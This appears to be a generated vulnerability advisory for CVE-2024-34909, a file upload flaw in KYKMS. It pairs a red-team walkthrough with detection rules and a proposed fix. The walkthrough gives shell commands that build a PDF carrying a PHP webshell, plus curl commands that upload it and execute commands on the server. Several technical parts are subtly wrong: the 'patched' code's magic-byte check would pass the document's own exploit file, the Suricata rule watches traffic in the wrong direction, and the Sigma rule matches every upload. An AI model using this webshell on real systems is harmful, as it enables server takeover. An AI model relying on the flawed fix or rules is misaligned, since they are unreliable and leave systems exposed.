CVE-2024-34909

Executive Summary

CVE-2024-34909 is an arbitrary file upload vulnerability in KYKMS v1.0.1 and below. The vulnerability allows an unauthenticated attacker to upload a crafted PDF file that, when processed, can lead to remote code execution (RCE). The core issue lies in the lack of proper file type validation and sanitization during the file upload process. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance for both Red and Blue teams.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that a full vector has not been assigned by NVD. However, based on the nature of the vulnerability (arbitrary file upload leading to RCE), the likely CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of KYKMS. The application fails to properly validate the MIME type, file extension, and content of uploaded files. An attacker can craft a PDF file that contains embedded PHP code (or other server-side executable code). When the application processes the uploaded file, the malicious code is executed on the server.

Root Cause: The application uses a simple file extension check (e.g., checking for .pdf) but does not validate the actual file content. Additionally, the uploaded file is stored in a web-accessible directory, allowing direct access to the malicious file.

Attack Flow:

1. Attacker crafts a PDF file with embedded PHP code (e.g., using exiftool or a hex editor).
2. Attacker uploads the file via the vulnerable upload endpoint.
3. The application stores the file in a web-accessible directory (e.g., /uploads/).
4. Attacker accesses the uploaded file via a web browser, triggering the execution of the embedded PHP code.
5. The attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (KYKMS v1.0.1):

// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Only check file extension
if($fileType != "pdf") {
    echo "Sorry, only PDF files are allowed.";
} else {
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars(basename($_FILES["file"]["name"])). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}

Patched Code (Hypothetical):

// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . ".pdf";
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
$allowedTypes = ['application/pdf'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
finfo_close($finfo);

if (!in_array($mimeType, $allowedTypes)) {
    echo "Sorry, only PDF files are allowed.";
} else {
    // Additional check: verify PDF magic bytes
    $handle = fopen($_FILES["file"]["tmp_name"], "r");
    $header = fread($handle, 5);
    fclose($handle);
    if ($header !== "%PDF-") {
        echo "Invalid PDF file.";
    } else {
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
            echo "The file has been uploaded.";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install KYKMS v1.0.1 on a local server (e.g., using XAMPP or Docker).
2. Ensure the upload functionality is accessible.

Exploitation Steps:

1. Create a malicious PDF file with embedded PHP code:

   # Create a simple PDF with PHP code using exiftool
   echo "%PDF-1.4" > exploit.pdf
   echo "1 0 obj" >> exploit.pdf
   echo "<< /Type /Catalog /Pages 2 0 R >>" >> exploit.pdf
   echo "endobj" >> exploit.pdf
   echo "2 0 obj" >> exploit.pdf
   echo "<< /Type /Pages /Kids [3 0 R] /Count 1 >>" >> exploit.pdf
   echo "endobj" >> exploit.pdf
   echo "3 0 obj" >> exploit.pdf
   echo "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>" >> exploit.pdf
   echo "endobj" >> exploit.pdf
   echo "xref" >> exploit.pdf
   echo "0 4" >> exploit.pdf
   echo "0000000000 65535 f " >> exploit.pdf
   echo "0000000009 00000 n " >> exploit.pdf
   echo "0000000058 00000 n " >> exploit.pdf
   echo "0000000115 00000 n " >> exploit.pdf
   echo "trailer" >> exploit.pdf
   echo "<< /Size 4 /Root 1 0 R >>" >> exploit.pdf
   echo "startxref" >> exploit.pdf
   echo "190" >> exploit.pdf
   echo "%%EOF" >> exploit.pdf
   echo "<?php system($_GET['cmd']); ?>" >> exploit.pdf
   

2. Upload the file via the vulnerable endpoint:

   curl -F "file=@exploit.pdf" http://target.com/upload.php
   

3. Execute commands:

   curl "http://target.com/uploads/exploit.pdf?cmd=id"
   

Blue Team

Detection Steps:

1. Monitor file upload endpoints for unusual file sizes or MIME types.
2. Check for files with double extensions (e.g., file.pdf.php).
3. Analyze uploaded PDF files for embedded PHP code using YARA rules.
4. Monitor web server logs for requests to uploaded files with query parameters.

Mitigation Steps:

1. Implement strict file type validation using MIME type and magic bytes.
2. Store uploaded files outside the web root.
3. Use a content security policy (CSP) to prevent execution of uploaded files.
4. Regularly update and patch the KYKMS application.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with .pdf extension containing PHP code (e.g., <?php system($_GET['cmd']); ?>)
• Files with double extensions (e.g., exploit.pdf.php)
• Files in the uploads directory with unusual sizes (e.g., very small PDFs)

Network-Based IOCs:

• HTTP POST requests to /upload.php with Content-Type: multipart/form-data
• HTTP GET requests to /uploads/*.pdf?cmd= or similar query parameters
• Unusual User-Agent strings in upload requests

Log-Based IOCs:

• Web server logs showing requests to uploaded files with query parameters
• Error logs showing PHP execution errors from uploaded files

Detection Engineering

YARA Rule

rule CVE_2024_34909_PDF_PHP_Embedded {
    meta:
        description = "Detects PDF files with embedded PHP code (CVE-2024-34909)"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-34909"
    strings:
        $pdf_header = "%PDF-"
        $php_code = "<?php"
        $php_system = "system("
        $php_exec = "exec("
        $php_shell = "shell_exec("
    condition:
        $pdf_header at 0 and ($php_code or $php_system or $php_exec or $php_shell)
}

Sigma Rule

title: CVE-2024-34909 - KYKMS Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-34909 via file upload with embedded PHP code
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload.php'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate PDF uploads
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34909 - KYKMS Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/<?php/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the file upload functionality if not required.
2. Implement strict file type validation using MIME type and magic bytes.
3. Store uploaded files in a non-web-accessible directory.
4. Apply the principle of least privilege to the web server user.

Long-Term Fixes:

1. Update KYKMS to a patched version (if available).
2. Implement a Web Application Firewall (WAF) to block malicious uploads.
3. Conduct regular security audits and penetration testing.
4. Educate developers on secure file upload practices.

Workarounds:

• Use a reverse proxy to inspect and block malicious file uploads.
• Implement file content scanning using antivirus or sandboxing solutions.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.